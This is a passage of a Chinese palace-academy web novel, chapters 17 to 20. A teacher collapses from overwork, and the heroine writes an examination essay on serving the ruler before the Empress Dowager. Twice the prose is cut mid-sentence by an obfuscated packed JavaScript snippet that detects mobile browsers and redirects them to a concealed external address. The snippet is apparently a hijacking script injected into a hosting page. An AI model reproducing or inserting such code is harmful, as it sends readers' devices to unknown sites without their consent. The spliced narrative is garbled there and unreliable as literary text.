“来得挺早,不会是知道要加课一晚上没睡着吧?”赵内尚一改往日严肃,一面放书,一面笑着调侃,“无须多礼,你找你的,我放我的。对了,可别贪读耽误吃饭,越是用心读书,越要用心吃饭,你那个好同窗,叫窦率容就做得比你好,再难写的文章,到了吃饭的时候也不硬写,吃完了再动脑子,这才是正理。你们还在长身体呢,读书重要,吃饭更重要。” 18.第十七章 第十七章 赵内尚平时并不出现在宫生的视野里,也极少在懋青堂附近现身,就连平常送取课业在次殿时,几乎都未见她的身影,但她却十分清楚宫生们的琐事,让尹慎徽心下感慨,她再拱手拜道:“多谢赵内尚关怀,学生借过书便去用饭,绝不饿着肚子背书。” “这就是了,你们何师范就是没养好习惯,年纪轻轻,身体还不如我,还有杨师范,哎……” 叹气间,赵内尚已经利落放完全部的书籍,脚边书囊空空如也。 “借什么书?”她虽和尹慎徽说这话,但眼神却一刻不离巡视书架上堆叠整齐的线封书脊,手里摆放着不知什么时候已经写好的类签。 “杨师范说,《春秋》是史之祖,只读春秋三传是远远不够的,虽说现下还没全学过,但最好有时间,读读前四史,往后比对也有出处。”尹慎徽说得是实话。 “你擅自修,也有心进益,这是好事,其实读书嘛,师范能起得作用说多也多,开蒙确实是一等一的重要,可越是往后,读书越要看自己的恒心与意愿,被逼着读,即便应付了裁试,往后的内省试也是道坎。”赵内尚说着自书架上取下一本颇厚的书册,走过来塞给尹慎徽,“你拿去看吧,跟你们现下所学也有些关联。” 这是一本《汉书》,翻开第一页,编目写着《艺文志》,尹慎徽有些摸不着头脑,还好她现在只是个小孩子,拥有不耻下问的真正利器,便直接行使自己的权利:“赵内尚,前四史我一本都没读过,怎能当下匹读《汉书》?” “书不要死读。你《春秋》三传都有所涉猎,正是看这个的时候。”赵内尚已带着空书囊走到了门口,回头朝她笑了笑,“哦对了,你的字得益不少,倒也有几分温润法则的意思,多临临帖,不要荒废。” 尹慎徽不解,赵内尚却已消失不见。藏书楼空荡荡的,香气还在,阳光渐盛,千余本书籍保持着沉默,时间仿佛凝固在此间。 赵内尚知道自己读过《春秋》三传这不奇怪,虽然她们只学了《左传》,用杨师范的话说,《毂梁》和《公羊》二传还需加以时日理解了《左传》才能涉猎。不过尹慎徽的自学计划总要先一步完成,三本读过,她也在之前的加试用了新典,赵内尚阅卷大抵清楚她的进度是要稍快一些的,可因为这个,就再给自己踩一脚油门实在没有必要。 可尹慎徽觉得,赵内尚也不会贸贸然如此,此举想必有她的理由,至于是什么,或许答案就在书里。 其实有那么一瞬间,尹慎徽真的很想问问赵内尚为什么如此加紧要她们赶课程,可是转念一想,此种努力总是为了筹备,筹备之事到来之日,也就是真相揭晓之时,赵内尚此时不讲,必然有她的道理。 总之现在不是寻找各种理由的时候,尹慎徽飞快找完所有书单上的书目,决定按照赵内尚的指点,好吃饭,吃好饭,饭堂去也。 杨师范的课在上午,今日的《春秋》依旧是《左氏传》,杨师范人虽然总是病恹恹的,但讲微言大义之处纤悉无遗,微故细过之处皆能点拨到位,不过今日她也确实悄悄加快了语速,讲了《桓公十一年》里的庄公之死后,甚至坐下喝茶歇了须臾,才再有力气讲接下来的。 杨师范的身子学生都是了解的,但一反常态的是,平常上课声音洪亮底气十足的何师范今日也是一般气息孱弱,说话徐多疾少,尹慎徽坐在下面,觉得何师范脸色也不是很好,白得让人心慌,随着讲授郑玄《礼记注》内容的深入,她的声音也越来越轻,在尹慎徽决定勇敢起身让何师范稍稍休息一下再讲之时,她仿佛终于无法遏制虚弱,跌坐在地。 “师范!” “何师范!” “快去叫洪嬷嬷!” 懋青堂叽喳一片,宫生们全围拢过来,萧越显第一个跑出去叫人,尹慎徽让众人让出一块缺口,保证何师范周围有新鲜的空气。 洪嬷嬷暂时不在,德欣与德敬跟随萧越显小跑入堂,德欣照看何师范,德敬去请太医,走之前让窦率容去取备在自己房间的小药箱,里面有装满醒神药材的香包,又让萧越显领着其他学生回到住处,尹慎徽拿自己的腰牌去正殿禀告睿思宫还在当值的其他女官大人。 尹慎徽领命狂奔,她自头次入睿思宫以来,三年后第一次又来到正殿,禁军验过腰牌才放她通行。正殿的门窗紧闭,殿外台阶上下共站着六个人,看打扮是有品级的宫女太监,却并非尚书内省女官或宫女的装束,大概是赵内尚在与宫里人商谈事宜,不过事从权宜,何师范尚在昏迷,无论如何也要先行禀告。 “大胆,何人擅闯?” 揽住她去路的人声音十分耳熟,那种嘹亮诡异的尖细尹慎徽听到的一瞬间便有头皮发紧之感,果不其然,她抬起头,看清她的长相后,说话之人也后退了一步。 “你!” 此人正是当初庶杂院的刘公公。 今时今日,刘公公那身洗得发亮的鹰背灰衣衫换做了上带云瑞暗纹的螺壳青内侍省太监制袍,只是令人可憎的眼眉依旧没有什么变化。 尹慎徽不打算在此人身上浪费时间,亮出腰牌道:“学生有要事禀告内尚大人。” 刘公公看着她眼里冒火,声音都更尖锐了:“大胆!还是和从前一样没有一点规矩!赵内尚在与尚宫局的苏大人商议要事,怎是你这个芝麻绿豆大的小东西能叨扰的?” 看来刘公公没有因为自己的晋升而好好学习措辞,仍旧是庶杂院那套上不得台面的损人的方式,但尹慎徽却今非昔比,只冷声道:“敢问公公是何身份?” 刘公公眉心怒筋跳动清晰可见,声音都气抖了:“咱家是内侍省正六品领监,你一个小小的宫生也敢质问?咱家倒要问问,你一个小东西能有什么破事儿禀告内尚书大人的?” “我尚书内省之事自奉太祖祖训,内中之事不便外言,外人亦不可探问,公公是内侍省人,如何来问?” 尹慎徽的回答不卑不亢,又暗指刘公公不懂规矩,冒犯祖训,刘公公不知是气恼还是胆怯,脸也白了,一只手颤抖指向她:“尹月儿,你好大的……” “公公。”一旁始终皱着眉的尚宫局女官似忍不下去,截断了他的话,“人家宫生说得没错,我们来此是奉太后之命商议合考之事,太后圣明,为求公允,要内侍省协同办事,来睿思宫,我们是客人,如何对人家宫事三言两语,又对人家内里人大呼小叫?这是哪来的规矩?且不说人家身份在这,轮不到你来教训,再者妨碍了里面两位大人商议太后所吩咐的要紧事,你又如何担当得起?” 尹慎徽感慨果然还是正常人多,能陪着尚宫局来与赵内尚商议要事的人,职业素养与工作能力自不会太差,刘公公看来果然如王宝所言,是抱住大腿才攀上高枝,不然以这业务水平在宫里,不是领导小舅子基本不可能混得下 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刘公公挨了这顿排揎,估计回去能气个够呛,但梁子也是彻底结下,此时不是思考这件事的时候,尹慎徽见门已关上,急切禀告:“内尚大人,是何师范在授书时晕倒了,我离开时还未苏醒。” 赵内尚原本已然坐下,此时猛地弹站起身:“传太医了么?”说完快步走向正殿后的通道。 这条路可以不走正门,直达殿后两个院落之间的行门,尹慎徽第一次来也走过此门。她快步跟上,把德欣的分工安排告知赵内尚,对方似乎对这调度很满意,担忧和步速却没有变缓。 两人到在懋青堂前,正见王宝抱着仍旧昏迷的何师范正要往尚书内省女官住处的院子走,何师范不算矮个子,但在王宝孔武有力的臂膀中却显得格外娇小,再加上仍旧昏迷不醒,更让人看了心焦。 制止了王宝和德欣预备的行礼,赵内尚指着往何师范住处的路,与她们一道疾走:“太医呢?” “已经去请了。” “你先回去,你们师范如若平安,我会让德欣告知的,在此之前,先在住处看看书,不要到处走动。”赵内尚挥手,命令尹慎徽停下,她也只能遵命,返回了小院。 同学们果然都坐卧难安,见她是最后回来的,全围拢到身前。 “你见到太医来了吗?” “怎么样怎么样?” 尹慎徽微微摇头:“赵内尚说,让咱们稍安勿躁,且等太医的消息。” 于是学生们再度垂头而忧,书也读不进,只在院子里打转。 一炷香的时辰,满头大汗的德欣出现在众人面前,不等她们问便开了口:“何师范没有大碍,现下已经醒了。” 众人这才松了口气。 “欣姐姐,何师范得的是什么病?是否要紧?”尹慎徽追问。 “太医说是忧劳过度,心悸成忪,得卧床调息一阵子,配上汤药丸药,是可以痊愈无碍的。这你们尽管放心,内尚大人说,会找专门的宫女来照顾何师范的。” 听着是很严重,但既然太医说能好,想必也不会太悲观。 德欣又道:“内尚大人还说,她一会儿会过来一趟,有件事要同你们说,仿佛……是很要紧的事,你们还是先预备好了,我听着也是与何师范忧劳至此的因由有关,待内尚大人来,你们自然能知晓。” 19.第十八章 第十八章 如同德欣所言,赵时敏赵内尚不一会儿就到了宫生的住处。 一众女子已列做三排,齐齐朝她行礼:“宫生参见赵内尚。” 赵内尚没有立即解除她们内心的疑惑,而是先说道:“‘师也者,教之以事而喻诸德也’,何师范将你们教导得很好,今日我所闻所见,无不重德有条,行止表率,既存敬师明理之德行,又怀亲师存心之款要,何师范要我代她谢一句你们的关切,她一切都好,只是担心你们的课业因此落下。” 一番话语说得众位宫生感怀不已,为自己让师范操心而伤怀,亦觉得受此赞誉,总算未有辜负师范教导。 “既然如此,我想近几日你们众人当中必然有人心存疑窦,为何忽然加考、加课,至于师范如此辛劳?”赵内尚的话飞快吸引走了众人的注意。 “原本我因担忧你们少不更事,并不打算太早告知,可今日得见,也是何师范劝言,我想这一切的因由说出来也无妨。” 尹慎徽心下一动,猜测她要说的是之前听来的“合考”一事。 “裁试当日,不止有你们要考试,还有尚宫六局的学生也要同你们一道合测,如果通过,她们也将成为你们的同侪,以后同窗进读,为接下来的内省试做筹备,一并以成天子股肱为荣,但有了比较,也就有了高下之分,如果你们的文章不如外局学生,想必是留不下来的,于是众位师范与关心你们的内省女官无不忧虑百倍,也是如此,何师范一面应付着尚书内省的差事,一面为你们准备授课,连着几日,也不堪忧劳。但这并不是责怪你们,这也是她们的考测。” 女孩们都惊在原地,呼吸都被这个消息所迟滞。 “咱们诸位,都要努力。” 赵内尚没有说什么太过激昂的鞭策话语,更未有寻常严苛的督促,反倒是轻轻四字,轻若鸿毛,却重重压在宫生们的心头。 这样一切都解释通了。 “可是凭什么?” 打破沉寂的是窦率容。 “尚书内省自有考测之规,凭什么外人说要来考就来考试?为什么她们不从入门试测开始?” 她的话自带着愤懑满腔的不痛快,却也是许多宫生此时的心声,德欣变了脸色,连忙制止:“窦率容,你这是在和内尚大人讲话么?”她与其说是担心赵内尚被冒犯,也更多是担心在这个节骨眼上,窦率容遭到严厉的责罚。 但赵内尚却很平静,她像是深潭的水,没有任何流动的意愿:“当做一个人生的小考验吧,就像突如其来的加试,你们不是也应对得很好么?况且,正是有了对比,才知什么方为真金不怕火炼,尚宫六局教出来的学生,不可能比你们更优秀,我相信这一点,也望你们知晓。” 大概是鼓舞的话说了太多,看到学生们都渐渐松弛下来,赵内尚还是在接下来的讲话中表示,每个人都要潜心读书,在接下来的一个月中,不要忘记尚书内省的优良传统,认真进学,积极求索,在即将举行的与尚宫局的合试中考出水平,考出风采,不要辜负师长的竭力耕耘教导,更不能辜负自己这三年来的辛勤苦读。 这一时机微妙的动员大会就此结束。赵内尚让德欣安排众人重新回到懋青堂,她会另安排人来指导她们,暂代何师范之职。 回到懋青堂,似乎大家都铆足了劲,不打算让睿思宫和自己蒙羞,自修都比以往更专注,翻书和研墨之声不绝于耳。 一切的告知和鼓舞都如此水到渠成,尹慎徽却觉得,何师范的病着实吓了赵内尚一跳,但后续她却很快做出了判断,这个判断就是:愤怒有时比进取本身更有力量。 当然,她也不是不为这件肆意打破规则的事愤怒,甚至在她猜测到能让赵内尚都如此无奈的本次蓄意如此之人的身份后,对由上而下的破契比旁人更多一分恼责,但她的愤怒总是很平静,平静到翻开赵内尚早晨在小书楼递来的那本《汉书·艺文志》时,动作都依然轻缓,与平时无异。 在看过几页后,对知识以意料之外方式到来的惊喜盖过了全部情绪。 原来这就是赵内尚说此书对学习《春秋》三传有益的理由。 因《春秋》三传皆在炎汉一代拥有自己的拥趸,不同的老师传授不同的经义,开学授课,所传所解甚为丰富,故《汉书》中特有收录其学术发展的脉络,了解这些对学习三传助益极大,尤其《左传》在西汉时被看做是记载历史的史书本体,而非与《公羊传》《毂梁传》一同的解经之作,而彼时的《公羊传》是董仲舒作注,也是西汉官学必修五经之一。 尹慎徽沉入故纸堆,一页略有淡黄斑驳的纸自书中滑脱落地,窦率容推了推她,她才注意到,惊慌拾起。 弄坏了睿思宫的书一是要罚洒扫书楼,二是要赔银子的! 不过,这页纸却不属于装订整齐的书籍,纸张偏薄,只适合书写,不适合雕版刊印,纸上是密密麻麻的小字,虽横七扭八,却能看出书写之人翰墨功夫不俗,字的结构紧实,笔画却舒展,就是草了点。 尹慎徽仿佛哪里见过这字,一时却想不起来。 字迹草写也就罢了,最主要是纸页上不均匀分布有食物残渣留下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083965|194635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 油点污渍,抖两下就掉落些陈年老渣,实在恶心。 尹慎徽不算多洁癖的人,但还是不由皱眉,这谁啊?边吃边记笔记,还都是掉渣的食物!要不是怕影响同学,非要出去抖好一会儿才敢拿在手里。 草纸上最先看清的是“范宁”两个较大的字,下又缀“晋”单字,“晋”之下又补了个小到比米粒大不了多少的“西”,很快又换大字接写“范晔父”,“父”字划掉,改为“祖父”。 最后的最后,换过竖列,终于是一句完整的话: “左传艳而富,其失也巫;榖梁清而婉,其失也短;公羊辩而裁,其失也俗。” 此人旁征博引,查到西晋的某位叫范宁的人曾点评过三传的优与缺,特此记录。 后面还有一小段此人自己的抒发: “师曰:经史同修,引论必明。义理枯乏,观之既睡,醒时悔矣!再观再睡,如此往复。史中似有明珠千星,喜读之。师又曰:吾文乃土鸡瓦狗,辞美不察,皆因义理不明。吾再此立誓,今请左丘明、公羊高、穀梁子为证,必彻读三传,不死不休,如有食言,进饼不香,饮蜜不甜。” 这真是好大阵仗,知道是读书,不知道是发誓替全家报仇还是士为知己者死。 也不知道这位前辈最终有没有实践自己的宏愿。 不过这张纸给了尹慎徽一个方向,课后她去到小书房,借出了《汉书·艺文志》所提之书,又顺着那张发誓记录所载,找到本带西晋范宁批注和序的《毂梁传》,又延伸其中序书,找了《史记·世家》之中的几本,至寝内一一参照比对比阅读,灯燃三旬,只觉这般读史书之法乃是绝佳精妙! 因今日之忿忿,大多宫生都点灯熬油,预备下一番苦功,尹慎徽没有私藏读书妙招,干脆告知了所有同学,众人照习几日下来,皆觉此乃上上之法,不敢说一时三刻就能融会贯通,但却不至于苦啃经文,不知其深有何意。 教授《春秋》的杨师范知晓此事,十分感慨,夸赞尹慎徽有洪范大义,王宝听了虽是直竖大拇指,但也发出了疑问:“这门儿绝活,其实你自己憋着也没旁人知道,你为啥要告诉其他人?你们不是要考一场试么?” 王宝说的有些夸张,其实这个学习史传的方法也谈不上什么绝活,不过是前人小窍门,但确实可以让刚接触《春秋》三传过于茫然的学生找到一条不那么曲折的道路向深处研读。 至于为何分享…… 现在,她们拥有的竞争对手不是彼此,而是另一个敌人了。 这是属于睿思宫学生的共同战争。 20.第十九章 第十九章 熙平三年,六月二十日,阳泰殿外。 曾经每个殿名匾额上的字都认不全、需要师范一一诵读的小女孩们今日齐齐穿着宫生的蟹壳青襦衫,头戴皂色巾帽,并做两排,站在阳泰殿汉白玉石阶下,托睿思宫优质伙食的洪福,都窜出了高高的个头。 这其中长势最喜人的当属尹慎徽,倒不是她如今最高,而是来时最瘦最矮。 每次她因为长高不得不更换衣衫时,为她量体的洪嬷嬷都会一边捋动皮尺放量,一边笑着感慨:“来的时候瘦的一把可怜骨头,小小的个头,如今也长出亭亭玉立的架势来,要成大姑娘了呢!” 所以如果今次不是考选文试,而是评选谁在睿思宫生活得最好,尹慎徽觉得自己也是当之无愧的。 出于对生活品质的体验,和最重要的个人价值实现的追求,她都要考过这一关。 以及在睿思宫,已经有了许多值得她留下的人和事。 其实今天清晨的乌云还是格外照拂这些女孩的,按理说六月没有这般舒适的气候,帝京干热的暑气会吞没宫禁,即便有云层遮蔽,也还是难掩闷热。然而昨夜一场突风疾雨,晨起又阴沉沉的,积水还在,即便有轻微溽热感,也仍旧能觉察清透的凉气萦绕在身边。 如果身边没有其他人就好了。 尚宫六局学堂的小宫女们整整齐齐站在睿思宫宫生的旁边,她们穿着应季的菡萏色宫装襦裙,发髻输得圆圆润润,点缀着在阴天都能泛出光泽的银色小钗,年纪与睿思宫宫生相仿,少女的明媚在这身截然不同的衣着衬托下呼之欲出。 “阳泰殿本是春夏之际先帝御赐筵席、垂慰宾朋之处,今日仰承太后懿旨,我等能列于此殿,以文通测学资,当感沐天恩。” “谢太后隆恩,谢陛下隆恩。” 宫生与宫女们齐齐应和。 主持此次裁测的并非此刻站在一左一右的内尚书赵时敏,也不是苏尚宫,而是一个胖圆的老头,象征文官最高等级的紫色官袍套在他身上,如同紧紧箍住鼓槌头的布,绷得紧紧,或许是共振比较强,他说话的音色高亢洪亮,且言辞润达,只是这样的天气下,一小会儿他的额角就出现了汗渍。 “崔大人,吉时已到。” 他身后太监的低语仿佛一道大赦,这位据说是小皇帝的新老师、礼部尚书、兼掌兰台诸事、刚刚主持过此次科举省试的崔展崔大人深深吸一口气,对左右道:“那咱们便开始吧。赵内尚,苏尚宫,请。” 他的言语和行事都并无轻视内宫女官的傲慢,反倒十分客气。前些天听窦率容打听到的消息,这位崔尚书学识自是没得说,能被挑中当小皇帝教学班子成员,绝对不是滥竽充数。可他早年据说因一次对答不谨,被先帝罚着留置在家,软禁了小半年,直到新帝登基大赦天下,太后才将他放出,没多久便官复原职。小皇帝继位头一年本应是崔展主持恩科,就因此误了,今年恰好足了他应得的礼遇和颜面,不然一个礼部尚书没有主持过科举,说出去不免有些让人怀疑其工作能力。 在各自负责人的带领下,宫生与宫女鱼贯入殿,各列左右,按照早先发好的排序座次站好。 太后果然格外上心,阳泰殿内陈设都已换成了桌椅,文房也预备停当,一共六十人的考试,弄出了足够的架势。 崔展崔主考此时终于为能在殿内乘凉稍稍松了口气,他示意太监可以去预备计时的焚香,自己则转身取出一截卷轴,徐徐展开,下面还未落座的考生都屏息凝神,决定她们去留的考试即将开始。 字轴内只有四个字: 侍君,事君。 太监燃香击罄,考试开始。 尹慎徽与其他人一齐落座,展开题纸,磨墨拟腹稿。 她们是十四岁到十六岁,尚未完全接受完整体系儒学教育的学生,考试题目不会太难,又是两位各学负责人研究决定,题目也偏向浅显易懂。但尹慎徽觉得不然。这题目非常典型的属于浅尝有浅尝的答法,深思有深思的另论,是会出题的人才能给出的卷子,有水平,也更险诈。 这类型的出题老师尹慎徽上辈子交手过多次,非常有应对经验,他们往往想看到的不是考生去复述课本上讲过的东西,是考生结合学过知识,扩散至了解的知识面,再发散出自己的独到见解。 “侍君,事君”的题目来自对“侍”、“事”二字不同的思考,有训诂基础的考察,也加之经义内容的掌握,但是,只有这四个字,没有其他内容,就可以从侍君和事君是一回事吗?延伸出两个不同的回答,这是目前她们所学过的四书五经里没有的设问。如果不作答,那能回答的就只有解释,这就是一个陷阱,只回答了解释,何必让你来此做文章? 而简单以“忠”做文眼阐述,对题目的理解太过浅显表面,失了立论的匠心。 求简必然一败涂地。 这道题有个可以一试的方向,尹慎徽磨墨结束,思路也呼之欲出,一时下笔若飞腾,周遭磨墨翻动纸张的声音也消失不见,仅是在顿笔休息思考措辞时,听到一两声茶盏落于木桌的微响。 香燃至一半,尹慎徽已经写好了草稿,稍加斟字酌句,涂改两笔,推敲一二,文章也就如串珠引线,一气呵成了。她默读一遍,觉得写出的文章依心达意,已经将在睿思宫所学尽可展现,于是认真展平真正的答纸,写下“宫生对”三字。 待到通过内省试,她们就可以臣自称,有朝一日,登殿御试,此处将改为“臣对”。 接下来仍是格式的“宫生”二字缩格: 宫生闻,臣之为臣,以道事君。道有疏同。《书》曰:“元首明哉,股肱良哉,庶事康哉。”君有道,臣以道事,君无道,侍者存,事者离,去离远众者,侍多而无事也。 尹慎徽一句话引用了《论语》、《尚书》,连谥法的词都加上,这样的分量才足以启迪全文。 下面一段就有必要阐述君主的道和臣下的道之关联,君主有道,宫内宫外都恪守礼法与教化,侍奉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095990|194635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是事从君主。尹慎徽接着写:“善教化、嘉民生、贤士下、厚苍土,侍随者,为君可用,事从者,忠君之志,美足道哉。” 好的说完就要说坏的了。 如果君主无道,即便是再忠心的臣子与臣民,对他而言也不过是丑态百出的伶人和奴仆,肆意拨弄,全无尊严,这些的忠心,被他视作侍奉,而非他们真正在侍奉。 “……谓之暴殄,昔侍事二心。子曰:‘君使臣以礼,臣事君以忠。’是也。” 写至此处,应有重峦叠嶂的回笔,重新回应首句,既能使得文章节奏笙磬同音,又能缓和锐意的笔触。 这三年里,尹慎徽常听何师范说,习字,最重要是法则,法则可以捭阖,可以温雅,可以峻切,可以舒润。她想,字可以这样阐释,文章也可以。 科举考试的文章需要更有技巧的表达,技巧不代表巧言令色,也绝不是直白的反义词,它能更准确也更幽微的表达文章更深一层的含义,并且保证文辞不至于沦落至以一味激昂怒苛、言辞激切来增添可读性。 更何况,她是宫生参考,不能说得唇枪舌剑,好像要给太后和皇帝两巴掌,众人皆醉我独醒似的,一是人家母子目前国家治理得还不错,二是就算真有点瑕疵,脑袋这东西好就好在,人人只有一个。如果真这般只放不收写下去,她倒是过嘴瘾了,万一太后怀疑,是睿思宫的赵内尚和其余女官对朝政抑或君主有所不满,于是将情绪通过课堂灌输给宫生,致使宫生策对激烈,那岂不是要治尚书内省怨怼尊上之罪? 她们确实也是刚受过太后的委屈,不得不接受这次不合规的考试,不怕领导不想,就怕领导瞎联想。 于是尹慎徽回笔表示:读《春秋左氏传》时读到了关于郑简公执掌郑国时任命子产主政的故事,他主政第一年,因为行事雷厉风行,丈量世家大族的田地,收取赋税,所以这些人公开表示对他的憎恨,但是子产主政三年后,同一批人对他的怨恨就变成了追随,认为只有他才能让郑国再次伟大。可见能够将教化之道超越利益的人,就能得到超越事随本身的忠诚。 她之前接受过关于不同史料同一事件跨书而读的前辈纸条指点,这次也干脆用上,再说《史记》的《郑世家》是如何评价郑简公和子产这同一件事的,《公羊传》所讲洪范大义,更是侧重描画,也同赞此举,足见: “……千古之德沛,万世之流芳。” 这个对仗尹慎徽还算满意,写到这里,回笔也完成,接下来是列举其他例证的阐释和论证,再加上些微叙述,引用之处又回忆了一遍,无有错漏。 文章结尾的收束,需要一些力量感:她写道: “君者,道之存必隆,侍者敬其仁德,事者尊其睿达,二者殊同存,因道同义合。君道之多端,纲义归一,纲义归一,则侍事归一,侍事归一,则四海归一,天下大同。” 终于,计时的焚香燃尽,尹慎徽在卷子最后写下“宫生谨对”四字,正式完成了裁试最重要的策文。 21.第二十章 第二十章 “何大人,您吃个枇杷吗?太医说,您得多吃新鲜果子,这样才好得快。” 照顾何惟明的小宫女巧心原本在太医院打下手做杂活,手脚麻利,且觉得太医是天底下说话最有道理的人,每个医嘱都奉为圭臬,严格按照吩咐看顾何惟明,这让凡事自己动手的尚书内省年轻女官十分之不适应。 “我自己来吧。” 何惟明想要坐起来,却被巧心制止:“别啊,太医说您得多卧床,明日他老人家来给您诊脉,再有吩咐,咱们再照做。” 太医确实让何惟明静养,但是这也太静了,她不习惯,加之今日心事重重,不由坐卧难安,问道:“巧心,现在什么时辰了?” “诶呦,这一大早忙的,我且看看。”巧心伸头出窗,确认后才笑道,“可不都巳时快过了。何大人,您要是饿了,我去给您做点。” 巳时,那考试应该已经结束了。 何惟明摇摇头,想了想,还是觉得下地,两只脚踩进鞋里的瞬间,巧心又开始大呼小叫,何惟明想要耐心解释,敲门声适时响起。 巧心还没打开门,就听一阵低低的咳嗽声自门外传来。 “杨侍郎来了,快去请。”何惟明如获大赦。 门打开,未穿着官袍,身着平素常服的杨达敬提着两个小纸包迈入何惟明的屋门:“你不用迎我,快坐,我也是病号被推诿在家里,去不得阳泰殿心焦得很,带着赵大人前日给我的茶来找你坐坐,巧心,劳你帮咱们收拾收拾小院的凉棚,再泡壶茶,让咱们坐坐说两句话。” 巧心见惯了颐指气使的太监和大宫女,这一个月在睿思宫,虽说规矩极严,这也不许去,那也不许看,但何大人和其他女官大人一个比一个谦和有礼,让她受宠若惊,此时也忘了太医的话,忙不迭应下,整理完毕,烧好水,沏好茶,还贴心在石墩上放了两个厚厚的软垫,才请两人过去做好,何惟明让巧心去后面找王宝休息,分食杨大人带来的几样茶点,她和杨达敬则对坐下来。 “阳泰殿……” “裁试……” 心照不宣一齐开口后,两人对视而笑。 “让大人见笑了。”何惟明苦笑,“一晌午都没放下心来,不知道那些孩子考得如何,可有被难住。” “不会的,我看她们这些日子苦读用功,赵内尚和苏尚宫都是有分寸的,怎会故意出题为难?”杨达敬斟茶过后却没有喝,显然也是紧张所致,“我来是前两日听说了些尚宫局书房的风言风语,我知道你此时也没法读书练字,干脆来说说话。” 听到竞争对手的消息,何惟明一下绷直身体:“是怎么回事?大人可是听到了什么要紧的?” “昨日轮到我值弘文馆的公务,弘文馆的马公公有个娘在宫外,得的是和我一样的病,前两年我给自己用得不错的方子告知他,他娘用着好了大半,对我也殷勤些,于是私下找书归档的当口,暗中和我说……”杨达敬转动眼珠,确认周围没人才压低声音开口,“尚宫局之所以这般自信愿意和咱们一较高下,是她们的书房里,有两三个很不错的苗子,原本因年龄错过了咱们的考选,苏尚宫觉得可惜,便自己和亲信教了大半年,谁知进益极大,后又请示太后,专门请回已经出宫的老尚宫来教了三年,这才下定决心与咱们掰掰手腕。” 何惟明听得有点来气,又不好再上司面前肆意发作,只能苦道:“太后……也是想更多从优可选。” “哦对,其中有一个,叫李婵的女孩,据说最是优秀,马公公不通文墨,只说听人讲,此女今年十六岁,唾地成文、才思捷畅,是苏尚宫的爱徒。” “杨大人,您觉得……她能比咱们家慎徽强么?”听过这话,何惟明心里没底,两只手绞作一团。 杨达敬表情认真,思考半晌,只是摇头:“说不准,马公公为人厚道,不是那般口若悬河,好夸大其词来自造的事非的人,不过也可能只是他听来的。我们慎徽的才华我自是信得过,她行事不熟咱们大人,也不该有什么担忧,只是心里头还是惴惴,真是老了……” “是啊,这次裁试因有介入,却反倒成了最公平的一届。”何惟明亦是喟叹,“从前裁试,学生作答,师范阅卷,平常相处之下,认识字迹也是难免,虽以自己所历,师范定夺的名次都无有偏颇,但终究能认字迹便是能认。可这次糊住名字,崔尚书是一个也不认得学生们的自己,自然公正比过寻常。” 两人对视一眼,齐齐叹息,各自喝了一口茶。 此时的阳泰殿内,一声嘹亮的同传使得正在阅卷和等候的师生皆是一震。 “太后驾到!” 孟太后来这里干嘛?她不是明天就要出发去祭地吗? 尹慎徽拜迎时腹诽,今日太后的阵仗比以往尹慎徽见她要大许多,跟了十二个人在身后,穿着也甚是华贵雍容,时隔三年,她似乎没有老的迹象,让众人平身后,带着笑意说道:“今日宫中裁选人中之杰,哀家来看看诸位的才藻,不知阅卷开始了没?” “回禀太后,臣正在阅览,请太后过目一观。”崔展立即回道。 “不必,哀家自诩没有崔卿家的才干,如何敢越俎代庖。崔卿家阅过,选出十来篇上佳文章,再一并读过。” “遵旨。” 孟太后垂帘称制已经三年,早不复尹慎徽当年所见的未亡人之态,举手投足尽是帝王端方之气。这也难怪,事实上,此时国家的皇帝本就是她本人。只是听说孟太后做事从不擅专,凡事与臣下商议,从谏如流,也不专断政事,对自家外戚从无偏袒,好像太后的亲大哥还在考科举,孩子都能打酱油了,乡试都没过过一次,太后也一直不松口恩荫。 外人议论,都说太后公正不营私利,但尹慎徽却以为,越是看不上这些蝇头小利的战略性放弃,越意味着目标更远,野心更大。 反正太后的表演艺术她是曾亲自观摩并学习过,加之她对裁试的干涉十足功利,尹慎徽心中对她很是万绪千端疑团满腹。 孟太后坐得住,就这样等着崔展一篇篇得看过,看他时而面露惊喜,时而眉头紧锁,在殿内的考生只能焦灼陪同,五脏犹如手搅烹炸,整个流程很像制作肉圆。 哎,和窦率容混久了,尹慎徽觉得自己也越来越爱用吃来作比喻了。 “太后,臣已裁选完毕,兹事体大,请太后过目 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崔展向在座考生展示了朝堂官吏如何在天家面前将自己的工作汇报得体面又完善,并且给足领导参与感和情绪价值,如果不是身份所限,尹慎徽都差点给他鼓掌了。 现在想想,原来尚书内省的各位老师们果然为了更好和自己这些宫生沟通,不得不降级了语言水平,向下兼容,也是辛苦了。 太后果然显得非常有兴趣,拿起被崔展视作魁首备选的二文,细细品读,看过一遍后,她亦是没有立即言语,而是再读一次,如此往复了三次,才最终将视线自答题文章上移开:“崔卿家,不怪你难以决断,哀家自也是不能。此二人一个笔有千钧但见微知著,笔蕴德济,翰墨呈妙。当之‘抑引随时,变通适会’之能。另一个文意温雅不失蹈厉,且博闻广识,可谓‘言之成理,持之有故’,学未成时,便有饱学纵横之骋望。” “正是如此,太后珠玑妙赏,言臣所不能言。”崔展立刻表示领导水平不知道高到哪里去了,“如此,还望太后明断。” 太后似乎不打算专断,转向另一边:“这题是赵卿家和苏宫人出的,不如也让她们看看,给个参详吧。” 